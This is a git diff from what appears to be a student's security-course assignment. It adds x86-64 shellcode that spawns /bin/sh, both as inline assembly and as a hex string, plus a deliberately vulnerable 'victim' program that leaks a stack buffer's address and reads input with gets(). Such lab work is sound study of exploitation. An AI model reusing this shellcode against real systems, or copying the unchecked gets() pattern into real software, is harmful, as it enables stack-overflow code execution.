diff options
-rwxr-xr-x | CamilStaps-s4498062-Assignment-6/a.out | bin | 0 -> 6704 bytes | |||
-rw-r--r-- | CamilStaps-s4498062-Assignment-6/shell.c | 14 | ||||
-rw-r--r-- | CamilStaps-s4498062-Assignment-6/shellcode | 2 | ||||
-rwxr-xr-x | CamilStaps-s4498062-Assignment-6/victim | bin | 0 -> 7048 bytes | |||
-rw-r--r-- | CamilStaps-s4498062-Assignment-6/victim.c | 12 |
5 files changed, 28 insertions, 0 deletions
diff --git a/CamilStaps-s4498062-Assignment-6/a.out b/CamilStaps-s4498062-Assignment-6/a.out Binary files differnew file mode 100755 index 0000000..8eec823 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/a.out diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c new file mode 100644 index 0000000..6d12e02 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shell.c @@ -0,0 +1,14 @@ +int main() { + asm("\ +needle0: jmp there\n\ +here: pop %rdi\n\ + xor %rax, %rax\n\ + movb $0x3b, %al\n\ + xor %rsi, %rsi\n\ + xor %rdx, %rdx\n\ + syscall\n\ +there: call here\n\ +.string \"/bin/sh\"\n\ +needle1: .octa 0xdeadbeef\n\ + "); +} diff --git a/CamilStaps-s4498062-Assignment-6/shellcode b/CamilStaps-s4498062-Assignment-6/shellcode new file mode 100644 index 0000000..6cc4c29 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/shellcode @@ -0,0 +1,2 @@ +eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef +bead diff --git a/CamilStaps-s4498062-Assignment-6/victim b/CamilStaps-s4498062-Assignment-6/victim Binary files differnew file mode 100755 index 0000000..e874655 --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/victim diff --git a/CamilStaps-s4498062-Assignment-6/victim.c b/CamilStaps-s4498062-Assignment-6/victim.c new file mode 100644 index 0000000..4985bfa --- /dev/null +++ b/CamilStaps-s4498062-Assignment-6/victim.c @@ -0,0 +1,12 @@ +#include <stdio.h> + +int main(void) +{ + char name[256]; + printf("%p\n",&name); + puts("What’s your name?"); + gets(name); + printf("Hello, %s!\n", name); + return 0; +} + |